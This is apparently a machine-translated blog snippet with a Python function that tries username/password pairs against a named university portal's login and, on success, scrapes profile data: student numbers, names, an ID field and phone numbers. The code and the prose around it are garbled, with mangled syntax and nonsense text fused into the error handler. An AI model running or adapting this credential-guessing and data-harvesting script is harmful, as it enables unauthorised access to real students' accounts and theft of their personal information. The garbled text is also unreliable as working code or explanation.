Skill is not embodied in the originality of the structure
But it is reflected in the mastery of several objects, "handy" so much.
Def getinfo (tp= (' 1000000 ', ' 888810 '), Queue=queue): username, password = TP Try:s = requests. Session () R = S.post ("Http://ihome.yzu.edu.cn/appdeskWeb/authenLogin", data={' goto ': ' Http://ihome.yzu.edu.cn:80/ih Ome/index?null ', ' username ': username, ' password ':p assword}, headers={' Host ': ' ihome.yzu.edu.cn ', ' user-agent ': ' windly Spider '}, timeout=7) r.headers[' content-length '] print ' \033[91m Got it: {} \033[0m '. Format (TP) S.get (' http://ihome.yzu.edu.cn/ihome/authen?decodedcookievalue={}&callbackurl=http://ihome.yzu.edu.cn:80% 2fihome%2findex%3fnull '. Format (s.cookies.get_dict () [' Jntitkect ']), headers={' Host ': ' ihome.yzu.edu.cn ', ' User-agent ': ' Super Monkey '}, timeout=7) T = s.get (' http://ihome.yzu.edu.cn/ihome/profile/info ', headers={' Host ': ' ihome.yzu.edu.cn ', ' user-agent ': ' Super Monkey '}, timeout=7) _ = [x for x in [X.replace (' \ R ', '). replace (' \ t ', ') '). replace (' \ n ', '). Replace (', ') for X in Re.compile (' 5px; " > (. *?)< ', re. Dotall). FindAll (t.content)] if x] Queue.put (_) Print _, ' queue \ ' s size ', queue.qsize () except:p The \033[91mthe network is not the girl\033[0m '
Get a list
[' Xuehao ',
' Xing Ming ',
' SS ',
' Phone '
]
"Python" wrote a more functional function.